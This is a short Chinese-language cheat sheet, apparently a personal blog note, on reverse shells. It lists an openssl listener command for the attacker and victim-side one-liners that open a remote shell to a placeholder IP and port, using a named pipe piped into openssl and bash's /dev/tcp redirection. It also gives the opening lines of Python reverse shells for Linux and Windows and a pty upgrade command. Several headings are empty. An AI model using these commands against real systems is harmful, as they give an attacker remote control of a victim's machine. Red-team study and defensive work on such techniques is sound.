【笔记】反弹Shell
前言
反弹Shell
攻击者监听反弹Shell
通过NetCat监听反弹Shell
通过SSL监听反弹Shell
- 生成不含主题的SSL证书
- 监听反弹Shell
1 | openssl s_server -quiet -key private.key -cert public.crt -port <port> |
受害者反弹Shell
通过NetCat反弹Shell
通过SSL
1 | mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ip>:<port> > /tmp/s; |
通过Linux的dev建立连接
1 | bash -i >& /dev/tcp/<ip>/<port> 0>&1 |
通过Python建立连接
Linux
1 | import os,socket,subprocess |
Windows
1 | import socket,subprocess |
进入交互式Shell
- 受害者反弹Shell成功后,在攻击者机中启动交互式Shell
Python
1 | python -c 'import pty; pty.spawn("/bin/bash")' |